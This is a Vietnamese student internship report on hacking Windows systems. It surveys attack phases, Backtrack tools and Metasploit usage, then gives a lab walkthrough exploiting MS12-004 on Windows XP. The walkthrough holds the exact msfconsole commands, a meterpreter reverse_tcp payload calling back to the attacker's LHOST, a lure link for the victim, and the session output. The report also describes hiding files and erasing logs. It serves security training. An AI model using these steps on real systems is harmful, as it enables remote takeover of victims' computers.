MỞ ĐẦU

Theo thống kê của công ty Bkav, từ đầu năm 2013 đến nay, tại Việt Nam đã có

2.405 website của các cơ quan, doanh nghiệp bị xâm nhập, trung bình mỗi tháng có

khoảng 300 website bị tấn công. Ông Vũ Ngọc Sơn, Phó chủ tịch phụ trách Nghiên cứu

phát triển của Bkav cho biết, các cơ quan doanh nghiệp bị tấn công gần như là đầy đủ, từ

ít nghiêm trọng đến nghiêm trọng và rất nghiêm trọng (nhằm đánh cắp các tài liệu mật)

và các mã độc này nhắm cả vào Bộ Công An, Bộ Quốc phòng, ngân hàng, các cơ quan

đơn vị nghiên cứu, các doanh nghiệp… Theo nhìn nhận của Bkav, đã có những chiến

dịch tấn công, phát tán mã độc có chủ đích vào Việt Nam. Trong đó, bản thân các vụ tấn

công trên mạng và các vụ xâm nhập hệ thống công nghệ thông tin là nhằm do thám, trục

lợi, phá hoại dữ liệu, ăn cắp tài sản, cạnh tranh không lành mạnh và một số vụ mất an

toàn thông tin số khác đang gia tăng ở mức báo động về số lượng, đa dạng về hình thức,

tinh vi hơn về công nghệ.

Trước tình hình đó, song song việc ban hành chỉ thị 897/CT-TTg, Thủ Tướng chỉ

đạo các Bộ, ngành, địa phương tăng cường giải pháp đảm bảo an toàn thông tin số. Thủ

tướng Chính phủ cũng đã nêu rõ, trong thời gian qua, tình hình mất an toàn thông tin số ở

nước ta diễn biến phức tạp, xuất hiện nhiều nguy cơ đe dọa nghiêm trọng đến việc ứng

dụng công nghệ thông tin phục vụ phát triển kinh tế - xã hội và đảm bảo quốc phòng, an

ninh.

Bài báo cáo này sẽ giới thiệu tổng quát về các phương pháp mà Hacker sử dụng để

tấn công xâm nhập và khai thác vào các phiển bản hệ điều hành Windows, hệ điều hành

phổ biến nhất hiện nay tại Việt Nam, từ đó giúp chúng ta nắm rõ cách thức mà Hacker sử

dụng và đưa ra các giải pháp giúp cho mỗi người dùng được an toàn thông tin, bảo mật

trong thời đại Internet ngày nay.

Vũ Tuấn Anh.

LỜI CẢM ƠN

Để thực hiện và hoàn thành đề tài này, trước hết tôi xin cảm ơn đến các thầy,

giảng viên hướng dẫn sinh viên thực tập tại Trung tâm đào tạo quản trị mạng và an ninh

mạng quốc tế ATHENA, đã tận tình chỉ bảo trong thời gian vừa qua.

Tôi cũng xin gửi lời cám ơn đến các anh chị, bạn bè đã truyền đạt kinh nghiệm và

tạo điều kiện cho tôi hoàn thành đề tài này.

Trong quá trình thực hiện đề tài không thể không có những sai sót, mong thầy cô

tại trung tâm ATHENA và các bạn thẳng thắn góp ý đề tôi rút kinh nghiệm trong các

công trình tìm hiểu, phát triển sau này.

Vũ Tuấn Anh.

PHẦN 1: GIỚI THIỆU

1.1 System Hacking và Tình hình an ninh mạng Việt Nam

System hacking bao gồm những kỹ thuật lấy username, password dựa vào phần

mềm cài trên hệ thống hoặc tính dễ cài đặt và chạy các dịch vụ từ xa của hệ điều hành

Windows. Nâng quyền trong hệ thống, sử dụng keyloger để lấy thông tin, xóa những log

file hệ thống. Một khi đã xâm nhập vào hệ thống, Hacker có thể thực hiện mọi thứ trên

máy tính đó, gây ra những hậu quả vô cùng nghiêm trọng cho các cá nhân, tổ chức.

1.2 Các lỗ hổng thường khai thác trong hệ điều hành Windows

Phần mềm máy tính ngày nay vô cùng phức tạp, bao gồm hàng ngàn dòng mã.

Phần mềm được viết ra bởi con người, nên cũng chẳng có gì lạ khi trong đó có chứa

những lỗi lập trình, được biết đến với tên gọi lỗ hổng. Những lỗ hổng này được Hacker

sử dụng để xâm nhập vào hệ thống, cũng như được tác giả của các đọan mã độc dùng để

khởi động chương trình của họ một cách tự động trên máy tính của bạn.

Hiện nay các lỗ hổng bảo mật được phát hiện càng nhiều trong các hệ điều hành,

các Web Server hay các phần mềm khác, ... Và các hãng sản xuất luôn cập nhật các lỗ

hổng và đưa ra các phiên bản mới sau khi đã vá lại các lỗ hổng của các phiên bản trước.

Do đó, người sử dụng phải luôn cập nhật thông tin và nâng cấp phiên bản cũ mà mình

đang sử dụng nếu không các Hacker sẽ lợi dụng điều này để tấn công vào hệ thống.

Thông thường, các forum của các hãng nổi tiếng luôn cập nhật các lỗ hổng bảo mật và

việc khai thác các lỗ hổng đó như thế nào thì tùy từng người.

Microsoft luôn có những cải tiến an ninh vượt trội qua mỗi phiên bản mới của hệ

điều hành Windows. Tuy nhiên, một sự thật là các mối đe dọa mạng vẫn đang ngày càng

phát triển nhanh hơn so với chu trình cập nhật và đổi mới hệ điều hành của Microsoft.

Tội phạm mạng thường sử dụng các lỗ hổng trong các mã chương trình để truy cập

vào các dữ liệu và tài nguyên trên máy tính bị lỗi bảo mật. Các chương trình độc hại được

thiết kế đặc biệt để khai thác các lỗ hổng này, được gọi là kỹ thuật exploit, đang ngày

càng phổ biến nhanh chóng.

Những sản phẩm của Microsoft thường gặp phải các lỗ hổng bảo mật như HĐH

Windows, Internet Explorer, Windows Server, Microsoft Exchange và .NetFramework.

1.3 Quá trình tấn công vào một hệ thống

Trước tiên ta sẽ tìm hiểu tổng quát một quá trình tấn công hệ thống. Mục tiêu phía

trước của chúng ta là một hệ thống máy tính. Các bước để tấn công, đánh sập nó, có thể

được liệt kê như hình vẽ bên cạnh. Nó gồm 6 công đoạn như sau:

Enumerate (liệt kê): Trích ra tất cả những thông tin có thể về user trong hệ thống.

Sử dụng phương pháp thăm dò SNMP để có được những thông tin hữu ích, chính

xác hơn.

Crack: Công đoạn này có lẽ hấp dẫn nhiều Hackernhất. Bước này yêu cầu chúng ta

bẽ khóa mật khẩu đăng nhập của user. Hoặc bằng một cách nào khác, mục tiêu

phải đạt tới là quyền truy cập vào hệ thống.

Escalste (leo thang): Nói cho dễ hiểu là chuyển đổi giới hạn truy cập từ user binh

thường lên admin hoặc user có quyền cao hơn đủ cho chúng ta tấn công.

Execute (thực thi): Thực thi ứng dụng trên hệ thống máy đích. Chuẩn bị trước

malware, keylogger, rootkit…để chạy nó trên máy tính tấn công.

Hide (ẩn file): Những file thực thi, file soucecode chạy chương trình… Cần phải

được làm ẩn đi, tránh bị mục tiêu phát hiện tiêu diệt.

Tracks (dấu vết): Tất nhiên không phải là để lại dấu vết. Những thông tin có liên

quan đến bạn cần phải bị xóa sạch, không để lại bất cứ thứ gì. Nếu không khả

năng bạn bị phát hiện là kẻ đột nhập là rất cao.

Tóm lại, quá trình tấn công hệ thống (System hacking) là bước tiếp theo sau quá

trình khảo sát, thu thập thông tin của mục tiêu cần tấn công bằng những kỹ thuật như

Footprinting, Social engineering, Enumeration, Google Hacking… đã được áp dụng cho

mục đích truy tìm thông tin.

Khi hệ thống mục tiêu đã được xác định, chúng ta bắt đầu đi vào quá trình tấn

công hệ thống thật sự. Ta phải tiến hành những kỹ thuật khác nhau để làm sao vào được

trong hệ thống đó, thực hiện những việc mà mình mong muốn, như xóa dữ liệu, chạy

chương trình trojan, keylogger…

PHẦN 2: SỬ DỤNG BACKTRACK ĐỂ KHAI THÁC XÂM NHẬP TRONG

MẠNG LAN

2.1 Hệ điều hành Backtrack 5 R3

Backtrack là một bản phân phối dạng Live DVD của Linux, được phát triển để thử

nghiệm xâm nhập. Backtrack là sự hợp nhất giữa 3 bản phân phối khác nhau của Linux

về thâm nhập thử nghiệm IWHAX, WHOPPIX, và Auditor. Trong phiên bản hiện tại của

nó (5), Backtrack được dựa trên phiên bản phân phối Linux Ubuntu 11.10.

Công cụ Backtrack đã có lịch sử phát triển khá lâu qua nhiều bản linux khác nhau.

Phiên bản hiện nay sử dụng bản phân phối Slackware linux (Tomas M.(www.slax.org)).

Backtrack liên tục cập nhật các công cụ, drivers,... Hiện tại Backtrack có trên 300 công

cụ phục vụ cho việc nghiên cứu bảo mật. Backtrack là sự kết hợp giữa 2 bộ công cụ kiểm

thử bảo mật rất nổi tiếng là Whax và Auditor.

Backtrack 5 chứa một số công cụ có thể được sử dụng trong quá trình thử nghiệm

thâm nhập của chúng ta. Các công cụ kiểm tra thâm nhập trong Backtrack 5 có thể được

phân loại như sau:

Information gathering: loại này có chứa một số công cụ có thể được sử dụng để có

được thông tin liên quan đến một mục tiêu DNS, định tuyến, địa chỉ e-mail, trang

web, máy chủ mail, và như vậy. Thông tin này được th u thập từ các thông tin có

sẵn trên Internet, mà không cần chạm vào môi trường mục tiêu.

Network mapping: loại này chứa các công cụ có thể được sử dụng để kiểm tra các

host đang tồn tại, thông tin về OS, ứng dụng được sử dụng bởi mục tiêu, và cũng

làm portscanning.

Vulnerability identification: Trong thể loại này, chúng ta có thể tìm thấy các công

cụ để quét các lỗ hổng (tổng hợp) và trong các thiết bị Cisco. Nó cũng chứa các

công cụ để thực hiện và phân tích Server Message Block (SMB) và Simple

Network Management Protocol (SNMP).

Web application analysis: loại này chứa các công cụ có thể được sử dụng trong

theo dõi, giám sát các ứng dụng web.

Radio network analysis: Để kiểm tra mạng không dây, bluetooth và nhận dạng tần

số vô tuyến (RFID), chúng ta có thể sử dụng các công cụ trong thể loại này.

Penetration: loại này chứa các công cụ có thể được sử dụng để khai thác các lỗ

hổng tìm thấy trong các máy tính mục tiêu.

Privilege escalation: Sau khi khai thác các lỗ hổng và được truy cập vào các máy

tính mục tiêu, chúng ta có thể sử dụng các công cụ trong loại này để nâng cao đặc

quyền của chúng ta cho các đặc quyền cao nhất.

Maintaining access: Công cụ trong loại này sẽ có thể giúp chúng ta trong việc duy

trì quyền truy cập vào các máy tính mục tiêu. Chúng ta có thể cần để có được

những đặc quyền cao nhất trước khi các chúng ta có thể cài đặt công cụ để duy trì

quyền truy cập.

Voice Over IP (VOIP): Để phân tích VOIP chúng ta có thể sử dụng các công cụ

trong thể loại này.

Digital forensics: Trong loại này, chúng ta có thể tìm thấy một số công cụ có thể

được sử dụng để làm phân tích kỹ thuật như có được hình ảnh đĩa cứng, cấu trúc

các tập tin, và phân tích hình ảnh đĩa cứng. Để sử dụng các công cụ cung cấp trong

thể loại này, chúng ta có thể chọn Start Backtrack Forensics trong trình đơn khởi

động. Đôi khi sẽ đòi hỏi chúng ta phải gắn kết nội bộ đĩa cứng và các tập tin trao

đổi trong chế độ chỉ đọc để bảo tồn tính toàn vẹn.

Reverse engineering: Thể loại này chứa các công cụ có thể được sử dụng để gỡ rối

chương trình một hoặc tháo rời một tập tin thực thi.

Chúng ta có thể tải bản Backtrack 5 tại địa chỉ: www.backtracklinux.org/downloads/

2.2 Phần mềm Metasploit

Metasploit là một dự án bảo mật máy tính cung cấp các thông tin về vấn đề lỗ

hổng bảo mật cũng như giúp đỡ về kiểm tra thăm nhập và phát triển hệ thống phát hiện

tấn công mạng. Metasploit Framework là một môi trường dùng để kiểm tra, tấn công và

khai thác lỗi của các service. Metasploit được xây dựng từ ngôn ngữ hướng đối tượng

Perl, với những components được viết bằng C, assembler, và Python. Metasploit có thể

chạy trên hầu hết các hệ điều hành: Linux, Windows, MacOS. Chúng ta có thể download

chương trình tại www.metasploit.com.

Metasploit hỗ trợ nhiều giao diện với người dùng:

Console interface: dùng lệnh msfconsole. Msfconsole interface sử dụng các dòng

lệnh để cấu hình, kiểm tra nên nhanh hơn và mềm dẻo hơn.

Web interface: dùng msfweb, giao tiếp với người dùng thông qua giao diện Web.

Command line interface: dùng msfcli.

Metasploit Enviroment:

Global Enviroment: Được thực thi thông qua 2 câu lệnh setg và unsetg, những

options được gán ở đây sẽ mang tính toàn cục, được đưa vào tất cả các module exploits.

Temporary Enviroment: Được thực thi thông qua 2 câu lệnh set và unset,

enviroment này chỉ được đưa vào module exploit đang load hiện tại, không ảnh hưởng

đến các module exploit khác Chúng có thể lưu lại enviroment mình đã cấu hình thông

qua lệnh save. Môi trường đó sẽ được lưu trong ./msf/config và sẽ được load trở lại khi

user interface được thực hiện.

Sử dụng Metasploit Framework:

a) Chọn module exploit: Lựa chọn chương trình, dịch vụ lỗi mà Metasploit có

hỗ trợ để khai thác

Show exploits: xem các module exploit mà framework có hỗ trợ.

Use exploit_name: chọn module exploit.

Info exploit_name: xem thông tin về module exploit.

Chúng ta nên cập nhật thường xuyên các lỗi dịch vụ cũng như các modul trên

www.metasploit.com hoặc qua lệnh msfupdate hoặc svnupdat/opt/metasploit/msf3/.

b) Cấu hình Module exploit đã chọn:

show options: Xác định những options nào cần cấu hình.

set : cấu hình cho những option của module đó.

Một vài module còn có những advanced options, chúng ta có thể xem bằng cách

gõ dòng lệnh show advanceds.

c) Verify những options vừa cấu hình:

check: kiểm tra xem những option đã được set chính xác chưa.

d) Lựa chọn target:

show targets: những target được cung cấp bởi module đó.

set: xác định target nào.

e) Lựa chọn payload:

show payloads: liệt kê ra những payload của module exploit hiện tại.

info payload_name: xem thông tin chi tiết về payload đó.

set payload payload_name: xác định payload module name. Sau khi lựa chọn

payload nào, dùng lệnh show options để xem những options của payload đó.

show advanced: xem những advanced options của payload đó.

f) Thực thi exploit:

exploit: lệnh dùng để thực thi payload code. Payload sau đó sẽ cung cấp cho chúng

ta những thông tin về hệ thống được khai thác.

2.3 Sơ đồ tổng quan hệ thống mạng LAN

Trong một mạng LAN nội bộ, các máy tính thường kết nối với nhau với khoảng

cách vật lý gần như trong một phòng, một tầng, một tòa nhà, công ty, … Các máy tính

trong mạng LAN có thể chia sẻ tài nguyên với nhau, mà điển hình là chia sẻ tập tin, máy

in, máy quét và một số thiết bị khác. Khi một máy tính ở trong mạng LAN, nó có thể sử

dụng các chương trình, phần mềm quét hệ thống mạng để biết được địa chỉ IP các host có

trong mạng.

Nmap (Network Mapper) là một tiện ích nguồn mở miễn phí cho phát hiện mạng

và kiểm toán an ninh. Nmap và Zenmap (Công cụ hỗ trợ đồ họa của nmap) được cài đặt

sẵn trong BackTrack, sử dụng các gói tin IP giúp xác định host nào có sẵn trên mạng, các

dịch vụ (tên ứng dụng và phiên bản) mà host đó đang cung cấp, hệ điều hành gì (và các

phiên bản hệ điều hành) mà họ đang chạy, loại bộ lọc gói tin hoặc tường lửa nào đang sử

dụng, và nhiều đặc điểm khác. Nmap chạy được trên tất cả các hệ điều hành, và các gói

nhị phân chính thức có sẵn cho Linux, Windows, và Mac OS X.

Sau khi xác định được các host có trong mạng, ta có thể sử dụng các công cụ quét

lỗi hệ thống để xác định lỗ hổng của hệ thống muốn xâm nhập, từ đó khai thác truy cập

vào hệ thống. Một trong số các công cụ quét lỗi này là Nessus, download tại địa chỉ

http://www.nessus.org/.

Một khi đã xâm nhập thành công và chiếm được toàn quyền điều khiển hệ thống,

Hacker có thể thực hiện mọi việc trên máy nạn nhân như down/upload files, thay đổi cấu

trúc hệ thống, thực thi chương trình, đánh cắp mật khẩu, cài trojan/ backdoor, …

2.4 Xâm nhập và khai thác Windows XP

Lỗ hổng sử dụng: Ms12_004

Khởi động msfconsole tử cửa sổ terminal của BackTrack.

Khai báo lỗ hổng sử dụng và thiết đặt options:

Search ms12_004

use exploit/windows/browser/ms12_004_midi

show options

set SRVHOST 192.168.159.128

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.159.128

exploit

BackTrack sẽ tạo ra một link chứa mã độc (http ://192.168.159.128:4444). Chỉ cần

nạn nhân nhấp chuột vào link trên thì BackTrack sẽ tự dộng gửi mã độc sang máy nạn

nhân và sau đó có thể xem thông tin, chiến quyền của máy nạn nhân đó.

Tiến hành khai thác máy nạn nhân có IP: 192.168.159.129 port 1078.

sessions

sessions –i 1

getuid

sysinfo

Hacked: khai thác thành công lỗi ms12_004 trên winXP SP2

Nạn nhân :

Computer: ANHKUTE – 98B2AC3.

Os: Windows XP (Build 2600. Service Pack 2).

Architecture: x86.

Systemlanguage: en US.

Meterpreter: x86/win32